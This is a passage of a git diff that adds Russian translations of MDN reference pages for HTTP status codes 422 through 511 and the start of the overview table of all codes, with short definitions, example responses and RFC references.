+<div class="warning">
+<p><strong>Важно</strong>: Клиент не должен повторять запрос повторно, т.е. без модификаций.</p>
+</div>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">422 Unprocessable Entity</pre>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Название</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{RFC("4918", "422 Unprocessable Entity" , "11.2")}}</td>
+ <td>HTTP Extensions for Web Distributed Authoring and Versioning (WebDAV)</td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/http/status/425/index.html b/files/ru/web/http/status/425/index.html
new file mode 100644
index 0000000000..179d9cb1e2
--- /dev/null
+++ b/files/ru/web/http/status/425/index.html
@@ -0,0 +1,40 @@
+---
+title: 425 Too Early
+slug: Web/HTTP/Status/425
+tags:
+ - HTTP
+ - Браузер
+ - Код состояния
+ - Ошибка клиента
+translation_of: Web/HTTP/Status/425
+---
+<div>{{SeeCompatTable}}{{HTTPSidebar}}</div>
+
+<p>Код ответа протокола передачи гипертекста (HTTP) <code><strong>425 Too Early</strong></code> означает, что сервер не хочет рисковать обрабатывать запрос, который может быть воспроизведенным, поскольку это открывает возможность для атаки повторного воспроизведения.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox notranslate">425 Too Early</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Title</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{RFC("8470", "425: Early Data", "5.2")}}</td>
+ <td>Using Early Data in HTTP</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.425")}}</p>
diff --git a/files/ru/web/http/status/426/index.html b/files/ru/web/http/status/426/index.html
new file mode 100644
index 0000000000..7fd92b4649
--- /dev/null
+++ b/files/ru/web/http/status/426/index.html
@@ -0,0 +1,46 @@
+---
+title: 426 Upgrade Required
+slug: Web/HTTP/Status/426
+translation_of: Web/HTTP/Status/426
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Код ответа на  HTTP <code><strong>426 Upgrade Required</strong></code>  указывает, что сервер отказывается выполнять запрос с использованием текущего протокола, но может захотеть сделать это после того, как клиент обновится до другого протокола.</p>
+
+<p>Сервер отправляет {{HTTPHeader("Upgrade")}} с этим ответом, чтобы указать требуемый протокол (ы).</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">426 Upgrade Required</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre>HTTP/1.1 426 Upgrade Required
+Upgrade: HTTP/3.0
+Connection: Upgrade
+Content-Length: 53
+Content-Type: text/plain
+
+This service requires use of the HTTP/3.0 protocol</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Название</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "426 Upgrade Required" , "6.5.15")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPHeader("Upgrade")}}</li>
+ <li>{{HTTPStatus("101")}} <code>Switching Protocol</code></li>
+</ul>
diff --git a/files/ru/web/http/status/428/index.html b/files/ru/web/http/status/428/index.html
new file mode 100644
index 0000000000..f0f6adc9dc
--- /dev/null
+++ b/files/ru/web/http/status/428/index.html
@@ -0,0 +1,39 @@
+---
+title: 428 Precondition Required
+slug: Web/HTTP/Status/428
+translation_of: Web/HTTP/Status/428
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Код статуса HTTP <strong>428 Precondition Required</strong> означает, что сервер требует, чтобы запрос был <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Conditional_requests">условным</a> (соответствовал неким предварительно заданным условиям).</p>
+
+<p>Как правило, это означает, что требуемый заголовок предварительного условия, например {{HTTPHeader("If-Match")}} отсутствует .</p>
+
+<p>Если заголовок предусловия <strong>не соответствует</strong> состоянию на стороне сервера, ответ должен быть {{HTTPStatus(412)}} <code>Precondition Failed</code>.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">428 Precondition Required</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификации</th>
+ <th scope="col">Название</th>
+ </tr>
+ <tr>
+ <td>{{RFC("6585", "428 Precondition Required" , "3")}}</td>
+ <td>Расширенные коды статуса HTTP</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Conditional_requests">Условные запросы HTTP</a></li>
+ <li>{{HTTPHeader("If-Match")}}</li>
+ <li>{{HTTPStatus(412)}}</li>
+</ul>
diff --git a/files/ru/web/http/status/429/index.html b/files/ru/web/http/status/429/index.html
new file mode 100644
index 0000000000..bfec2e5cc5
--- /dev/null
+++ b/files/ru/web/http/status/429/index.html
@@ -0,0 +1,42 @@
+---
+title: 429 Too Many Requests
+slug: Web/HTTP/Status/429
+translation_of: Web/HTTP/Status/429
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP <code><strong>429 Too Many Requests</strong></code> код ответа указывает, что пользователь отправил слишком много запросов за последнее временя ("ограничение скорости" или "rate limiting" ).</p>
+
+<p>В этот ответ может быть включен  {{HTTPHeader("Retry-After")}}, указывающий, как долго ждать нового запроса.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox notranslate">429 Too Many Requests</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="notranslate">HTTP/1.1 429 Too Many Requests
+Content-Type: text/html
+Retry-After: 3600</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Название</th>
+ </tr>
+ <tr>
+ <td>{{RFC("6585", "429 Too Many Requests" , "4")}}</td>
+ <td>Additional HTTP Status Codes</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPHeader("Retry-After")}}</li>
+<li><a href="https://www.exai.com/blog/429-error">429 Too Many Requests</a></li>
+</ul>
diff --git a/files/ru/web/http/status/431/index.html b/files/ru/web/http/status/431/index.html
new file mode 100644
index 0000000000..691fb74671
--- /dev/null
+++ b/files/ru/web/http/status/431/index.html
@@ -0,0 +1,37 @@
+---
+title: 431 Request Header Fields Too Large
+slug: Web/HTTP/Status/431
+translation_of: Web/HTTP/Status/431
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP <code><strong>431 Request Header Fields Too Large</strong></code>Код состояния ответа указывает, что сервер не желает обрабатывать запрос, потому что его поля заголовка слишком велики. Запрос может быть повторно представлен после уменьшения размера полей заголовка запроса.</p>
+
+<p>Его можно использовать, если общее количество полей заголовка запроса слишком велико или когда одно поле заголовка слишком велико.</p>
+
+<p>Эта ошибка не должна происходить в хорошо проверенных производственных системах, но ее можно найти чаще при тестировании новой системы.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">431 Request Header Fields Too Large</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Название</th>
+ </tr>
+ <tr>
+ <td>{{RFC("6585", "431 Request Header Fields Too Large" , "5")}}</td>
+ <td>Additional HTTP Status Codes</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{Glossary("Request header")}}</li>
+</ul>
diff --git a/files/ru/web/http/status/451/index.html b/files/ru/web/http/status/451/index.html
new file mode 100644
index 0000000000..426cde0317
--- /dev/null
+++ b/files/ru/web/http/status/451/index.html
@@ -0,0 +1,61 @@
+---
+title: 451 Unavailable For Legal Reasons
+slug: Web/HTTP/Status/451
+translation_of: Web/HTTP/Status/451
+---
+<div>{{HTTPSidebar}}</div>
+
+<p> HTTP-код ответа <code><strong>451</strong></code><strong><code> Unavailable For Legal Reasons</code></strong>  указывает, что пользователь запросил ресурс, который недоступен по юридическим причинам, например веб-страница, заблокированная из-за судебных исков.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">451 Unavailable For Legal Reasons</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Этот пример ответа берется из IETF RFC (см. ниже) и содержит ссылку на {{interwiki("wikipedia", "Monty_Python's_Life_of_Brian", "Monty Python's Life of Brian")}}.</p>
+
+<p>Обратите внимание, что {{HTTPHeader("Link")}}также может содержать отношение a <code>rel="blocked-by"</code>, идентифицирующее объект, ответственный за недоступный ресурс, например имя человека или организации, которые предъявили законный запрос В результате чего удаление содержимого.</p>
+
+<pre>HTTP/1.1 451 Unavailable For Legal Reasons
+Link: &lt;https://spqr.example.org/legislatione&gt;; rel="blocked-by"
+Content-Type: text/html
+
+&lt;html&gt;
+&lt;head&gt;&lt;title&gt;Unavailable For Legal Reasons&lt;/title&gt;&lt;/head&gt;
+&lt;body&gt;
+&lt;h1&gt;Unavailable For Legal Reasons&lt;/h1&gt;
+&lt;p&gt;This request may not be serviced in the Roman Province
+of Judea due to the Lex Julia Majestatis, which disallows
+access to resources hosted on servers deemed to be
+operated by the People's Front of Judea.&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Название</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7725", "451 Unavailable For Legal Reasons")}}</td>
+ <td>An HTTP Status Code to Report Legal Obstacles</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http/status", "451")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{interwiki("wikipedia", "HTTP_451", "Wikipedia: HTTP 451")}}</li>
+ <li>{{interwiki("wikipedia", "Fahrenheit_451", "Wikipedia: Fahrenheit 451")}} (which gave this status code its number)</li>
+</ul>
diff --git a/files/ru/web/http/status/500/index.html b/files/ru/web/http/status/500/index.html
new file mode 100644
index 0000000000..0e64be8339
--- /dev/null
+++ b/files/ru/web/http/status/500/index.html
@@ -0,0 +1,45 @@
+---
+title: 500 Internal Server Error
+slug: Web/HTTP/Status/500
+tags:
+ - HTTP
+ - Код ошибки
+ - Ошибка сервера
+translation_of: Web/HTTP/Status/500
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Код ответа сервера <code><strong>500 Internal Server Error</strong></code>  указывает на то, что сервер столкнулся с неожиданной ошибкой, которая помешала ему выполнить запрос.</p>
+
+<p>Этот код является обобщённым ответом на перехват всех исключений, которые не были обработаны должным образом. Обычно это означает, что сервер не смог найти более подходящего кода ответа. <span id="result_box" lang="ru"><span>Зачастую администраторы сервера регистрируют (логируют) сообщения об ошибках, подобных коду состояния 500 (включая дополнительную информацию о запросе), чтобы предотвратить повторение ошибки в будущем.</span></span></p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox notranslate">500 Internal Server Error (Внутренняя ошибка сервера)</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Title</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "500 Internal Server Error" , "6.6.1")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p class="hidden"><span id="result_box" lang="ru"><span>Таблица совместимости на этой странице создается из структурированных данных.</span></span> Е<span id="result_box" lang="ru"><span>сли вы хотите внести свой вклад в эти данные, пожалуйста, перейдите на </span></span><a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и пришлите нам "pull-request" запрос.</p>
+
+<p>{{Compat("http.status.500")}}</p>
+
+<h2 id="Дополнительная_информация">Дополнительная информация</h2>
+
+<ul>
+ <li><a href="https://www.exai.com/blog/http-error-500-wordpress">500 Internal Server Error</a></li>
+</ul>
diff --git a/files/ru/web/http/status/501/index.html b/files/ru/web/http/status/501/index.html
new file mode 100644
index 0000000000..4f13aabd5e
--- /dev/null
+++ b/files/ru/web/http/status/501/index.html
@@ -0,0 +1,39 @@
+---
+title: 501 Not Implemented
+slug: Web/HTTP/Status/501
+translation_of: Web/HTTP/Status/501
+---
+<div>
+<p>The HTTP <code><strong>501</strong></code><strong><code> Not Implemented</code></strong> cерверный код ответа на ошибку указывает, что метод запроса не поддерживается сервером и не может быть обработан. Единственными методами, которые необходимы серверам для поддержки (и, следовательно, не должны возвращать этот код), являются {{HTTPMethod("GET")}} и {{HTTPMethod("HEAD")}}.</p>
+
+<p>Обратите внимание, что 501 error не является чем-то, что вы можете исправить, но требует исправления веб-сервером, к которому вы пытаетесь получить доступ.</p>
+</div>
+
+<div class="note">
+<p>По умолчанию ответ 501 можно кэшировать.</p>
+</div>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">501 Not Implemented</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Название</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "501 Not Implemented" , "6.6.2")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http/status", "501")}}</p>
diff --git a/files/ru/web/http/status/502/index.html b/files/ru/web/http/status/502/index.html
new file mode 100644
index 0000000000..0e1bccb304
--- /dev/null
+++ b/files/ru/web/http/status/502/index.html
@@ -0,0 +1,47 @@
+---
+title: 502 Bad Gateway
+slug: Web/HTTP/Status/502
+tags:
+ - HTTP
+ - Код статуса
+translation_of: Web/HTTP/Status/502
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP серверный код ответа на ошибку <code><strong>502</strong></code><strong><code> Bad Gateway</code></strong> указывает, что сервер, действуя как шлюз или прокси, получил неверный ответ от восходящего сервера.</p>
+
+<div class="blockIndicator note">
+<p>{{interwiki("wikipedia", "Сетевой_шлюз", "Сетевой шлюз")}} может ссылаться на разные вещи в сети, а ошибка 502 обычно не является чем-то, что вы можете исправить, но требует исправления веб-сервером или прокси, к которым вы пытаетесь получить доступ.</p>
+</div>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox notranslate">502 Bad Gateway</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Название</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "502 Bad Gateway" , "6.6.3")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p class="hidden">Эта таблица совместимости сгенерирована на основе структурированных данных. Если вы бы хотели сделать свой вклаж в данные, пожалуйста, посетите <a href="https://github.com/mdn/browser-compat-data/README.md">https://github.com/mdn/browser-compat-data/README.md</a> и отправьте нам pull request.</p>
+
+<p>{{Compat("http/status", "502")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPStatus(504)}}</li>
+<li><a href="https://www.exai.com/blog/502-bad-gateway">502 Bad Gateway</a></li>
+</ul>
diff --git a/files/ru/web/http/status/503/index.html b/files/ru/web/http/status/503/index.html
new file mode 100644
index 0000000000..7e5cba9e09
--- /dev/null
+++ b/files/ru/web/http/status/503/index.html
@@ -0,0 +1,43 @@
+---
+title: 503 Service Unavailable
+slug: Web/HTTP/Status/503
+translation_of: Web/HTTP/Status/503
+---
+<div>{{HTTPSidebar}}</div>
+
+<p> HTTP <code><strong>503</strong></code><strong><code> Service Unavailable</code></strong> код состояния сервера, указывающий на то. что сервер не готов обработать данный запрос.</p>
+
+<p>Часто причиной этого оказывается закрытие сервера для технических работ или его перегрузка. Обратите внимание, что вместе с этим ответом следует отправить удобную для пользователя страницу, объясняющую проблему. Данный код должен использоваться для временных состояний, а HTTP-заголовок {{HTTPHeader("Retry-After")}} должен, по возможности, содержать предполагаемое время возвращения в работу.</p>
+
+<p>Стоит позаботиться и о заголовках, связанных с кэшированием, отправляемых с этим кодом, так как код состояния 503 часто является временным условием, и ответы обычно не должны кэшироваться.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox notranslate">503 Service Unavailable</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Название</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "503 Service Unavailable" , "6.6.4")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http/status", "503")}}</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>{{HTTPHeader("Retry-After")}}</li>
+</ul>
diff --git a/files/ru/web/http/status/504/index.html b/files/ru/web/http/status/504/index.html
new file mode 100644
index 0000000000..8d799e906e
--- /dev/null
+++ b/files/ru/web/http/status/504/index.html
@@ -0,0 +1,41 @@
+---
+title: 504 Gateway Timeout
+slug: Web/HTTP/Status/504
+translation_of: Web/HTTP/Status/504
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP код <code><strong>504</strong></code><strong><code> Gateway Timeout</code></strong> , полученный в ответе, указывает на ошибку, что сервер, действуя как шлюз или прокси, не может получить ответ вовремя.</p>
+
+<p>{{interwiki("wikipedia", "Gateway_(telecommunications)", "Gateway")}} могут ссылаться на разные вещи в сети, а 504  error обычно не является чем-то, что вы можете исправить, но требует исправления веб-сервером или Прокси, к которым вы пытаетесь получить доступ.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">504 Gateway Timeout</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Название</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "504 Gateway Timeout" , "6.6.4")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http/status", "504")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPStatus(502)}}</li>
+</ul>
diff --git a/files/ru/web/http/status/505/index.html b/files/ru/web/http/status/505/index.html
new file mode 100644
index 0000000000..1190c85e22
--- /dev/null
+++ b/files/ru/web/http/status/505/index.html
@@ -0,0 +1,33 @@
+---
+title: 505 HTTP Version Not Supported
+slug: Web/HTTP/Status/505
+translation_of: Web/HTTP/Status/505
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP <code><strong>505</strong></code><strong><code> HTTP Version Not Supported</code></strong> код состояния ответа указывает, что версия HTTP, используемая в запросе, не поддерживается сервером.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">505 HTTP Version Not Supported</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Название</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "505 HTTP Version Not Supported" , "6.6.6")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPHeader("Upgrade")}}</li>
+</ul>
diff --git a/files/ru/web/http/status/511/index.html b/files/ru/web/http/status/511/index.html
new file mode 100644
index 0000000000..de17af10eb
--- /dev/null
+++ b/files/ru/web/http/status/511/index.html
@@ -0,0 +1,37 @@
+---
+title: 511 Network Authentication Required
+slug: Web/HTTP/Status/511
+translation_of: Web/HTTP/Status/511
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>The HTTP <code><strong>511 Network Authentication Required</strong></code> код состояния ответа указывает, что клиент должен пройти аутентификацию, чтобы получить доступ к сети.</p>
+
+<p>Этот статус не генерируется серверами происхождения, а путем перехвата прокси-серверов, которые контролируют доступ к сети.</p>
+
+<p>Сетевые операторы иногда требуют некоторой аутентификации, принятия условий или другого взаимодействия с пользователем перед предоставлением доступа (например, в интернет-кафе или в аэропорту). Они часто идентифицируют клиентов, которые еще не сделали этого, используя свой адрес  Media Access Control ({{Glossary("MAC")}}).</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">511 Network Authentication Required</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Название</th>
+ </tr>
+ <tr>
+ <td>{{RFC("6585", "511 Network Authentication Required" , "6")}}</td>
+ <td>Additional HTTP Status Codes</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{Glossary("Proxy server")}}</li>
+</ul>
diff --git a/files/ru/web/http/status/index.html b/files/ru/web/http/status/index.html
new file mode 100644
index 0000000000..4ca660ba38
--- /dev/null
+++ b/files/ru/web/http/status/index.html
@@ -0,0 +1,353 @@
+---
+title: Коды ответа HTTP
+slug: Web/HTTP/Status
+tags:
+ - HTTP
+ - HTTP Response codes
+ - HTTP response code
+ - код ответа HTTP
+ - коды HTTP
+ - ошибки HTTP
+ - хттп коды ответов
+translation_of: Web/HTTP/Status
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Код ответа (состояния) HTTP показывает, был ли успешно выполнен определённый HTTP запрос. Коды сгруппированы в 5 классов:</p>
+
+<ol>
+ <li>Информационные 100 - 199</li>
+ <li>Успешные 200 - 299</li>
+ <li>Перенаправления 300 - 399</li>
+ <li>Клиентские ошибки 400 - 499</li>
+ <li>Серверные ошибки 500 - 599</li>
+</ol>
+
+<p><font><font>Коды состояния определены в </font></font><a href="https://tools.ietf.org/html/rfc2616#section-10"><font><font>10-ой секции RFC 2616</font></font></a><font><font>. О</font><font>бновленную спецификацию можно найти в </font></font><a href="https://tools.ietf.org/html/rfc7231#section-6.5.1"><font><font>RFC 7231</font></font></a><font><font> . </font></font></p>
+
+<p>Если Вы получли код ответа (состояния), которого нет в данном списке, в таком случае он является не стандартизированным кодом ответа (состояния), вероятней всего он кастомный сервера.</p>
+
+<p>Следующая таблица содержит список всех кодов и их значения:</p>
+
+<table class="standard-table" style="width: 100%;">
+ <thead>
+ <tr>
+ <th scope="col">Код ответа</th>
+ <th scope="col">Название</th>
+ <th scope="col">Описание</th>
+ <th scope="col">Версия HTTP</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <th colspan="4"><em>Информационные</em></th>
+ </tr>
+ <tr>
+ <td id="100">100</td>
+ <td>Continue</td>
+ <td>"Продолжить". Этот промежуточный ответ указывает, что запрос успешно принят и клиент может продолжать присылать запросы либо проигнорировать этот ответ, если запрос был завершён.</td>
+ <td>Только HTTP/1.1</td>
+ </tr>
+ <tr>
+ <td id="101">101</td>
+ <td>Switching Protocol</td>
+ <td>"Переключение протокола". Этот код присылается в ответ на запрос клиента, содержащий заголовок <code>Upgrade:</code>, и указывает, что сервер переключился на протокол, который был указан в заголовке. Эта возможность позволяет перейти на несовместимую версию протокола и обычно не используется.</td>
+ <td>Только HTTP/1.1</td>
+ </tr>
+ <tr>
+ <td>102</td>
+ <td>Processing</td>
+ <td>"В обработке". Этот код указывает, что сервер получил запрос и обрабатывает его, но обработка еще не завершена.</td>
+ <td>Только HTTP/1.1</td>
+ </tr>
+ <tr>
+ <td>103</td>
+ <td>Early Hints</td>
+ <td>"Ранние подсказки". В ответе сообщаются ресурсы, которые могут быть загружены заранее, пока сервер будет подготовливать основной ответ. <a href="https://datatracker.ietf.org/doc/rfc8297">RFC 8297 (Experimental)</a>.</td>
+ <td>Только HTTP/1.1</td>
+ </tr>
+ <tr>
+ <th colspan="4"><em>Успешные</em></th>
+ </tr>
+ <tr>
+ <td id="200">200</td>
+ <td>
+ <p>OK</p>
+ </td>
+ <td>"Успешно". Запрос успешно обработан. Что значит "успешно", зависит от метода HTTP, который был запрошен:
+ <ul>
+ <li>GET: "ПОЛУЧИТЬ". Запрошенный ресурс был найден и передан в теле ответа.</li>
+ <li>HEAD: "ЗАГОЛОВОК". Заголовки переданы в ответе.</li>
+ <li>POST: "ПОСЫЛКА". Ресурс, описывающий результат действия сервера на запрос, передан в теле ответа.</li>
+ <li>TRACE: "ОТСЛЕЖИВАТЬ". Тело ответа содержит тело запроса полученного сервером.</li>
+ </ul>
+ </td>
+ <td>HTTP/0.9 и выше</td>
+ </tr>
+ <tr>
+ <td id="201">201</td>
+ <td>Created</td>
+ <td>"Создано". Запрос успешно выполнен и в результате был создан ресурс. Этот код обычно присылается в ответ на запрос PUT "ПОМЕСТИТЬ".</td>
+ <td>HTTP/0.9 и выше</td>
+ </tr>
+ <tr>
+ <td id="202">202</td>
+ <td>Accepted</td>
+ <td>"Принято". Запрос принят, но ещё не обработан. Не поддерживаемо, т.е., нет способа с помощью HTTP отправить асинхронный ответ позже, который будет показывать итог обработки запроса. Это предназначено для случаев, когда запрос обрабатывается другим процессом или сервером, либо для пакетной обработки.</td>
+ <td>HTTP/0.9 и выше</td>
+ </tr>
+ <tr>
+ <td id="203">203</td>
+ <td>Non-Authoritative Information</td>
+ <td>"Информация не авторитетна". Этот код ответа означает, что информация, которая возвращена, была предоставлена не от исходного сервера, а из какого-нибудь другого источника. Во всех остальных ситуациях более предпочтителен код ответа 200 OK.</td>
+ <td>HTTP/0.9 и 1.1</td>
+ </tr>
+ <tr>
+ <td id="204">204</td>
+ <td>No Content</td>
+ <td>"Нет содержимого". Нет содержимого для ответа на запрос, но заголовки ответа, которые могут быть полезны, присылаются. Клиент может использовать их для обновления кешированных заголовков полученных ранее для этого ресурса.</td>
+ <td>HTTP/0.9 и выше</td>
+ </tr>
+ <tr>
+ <td id="205">205</td>
+ <td>Reset Content</td>
+ <td>"Сбросить содержимое". Этот код присылается, когда запрос обработан, чтобы сообщить клиенту, что необходимо сбросить отображение документа, который прислал этот запрос.</td>
+ <td>Только HTTP/1.1</td>
+ </tr>
+ <tr>
+ <td id="206">206</td>
+ <td>Partial Content</td>
+ <td>"Частичное содержимое". <span id="result_box" lang="ru"><span class="hps">Этот код ответа</span> <span class="hps">используется, когда клиент присылает </span><span class="hps">заголовок</span> <span class="hps">диапазона</span><span>, чтобы</span> выполнить <span class="hps">загрузку отдельно,</span> <span class="hps">в</span> <span class="hps">несколько потоков</span></span>.</td>
+ <td>Только HTTP/1.1</td>
+ </tr>
+ <tr>
+ <th colspan="4"><em>Сообщения о перенаправлениях</em></th>
+ </tr>
+ <tr>
+ <td id="300">300</td>
+ <td>Multiple Choice</td>
+ <td>
+ <p><span id="result_box" lang="ru"><span>"</span></span><span class="short_text" id="result_box" lang="ru"><span class="alt-edited">Множественный выбор</span></span>"<span lang="ru"><span>. </span></span>Этот код ответа присылается, когда з<span lang="ru"><span>апрос</span> <span>имеет более чем</span> <span>один из возможных</span> <span>ответов</span><span>.</span> И <span>User-agent </span><span>или</span> <span>пользователь должен</span> <span>выбрать один из ответов</span><span>. </span></span>Не существует стандартизированного способа выбора одного из полученных ответов.</p>
+ </td>
+ <td>HTTP/1.0 and later</td>
+ </tr>
+ <tr>
+ <td id="301">301</td>
+ <td>Moved Permanently</td>
+ <td>
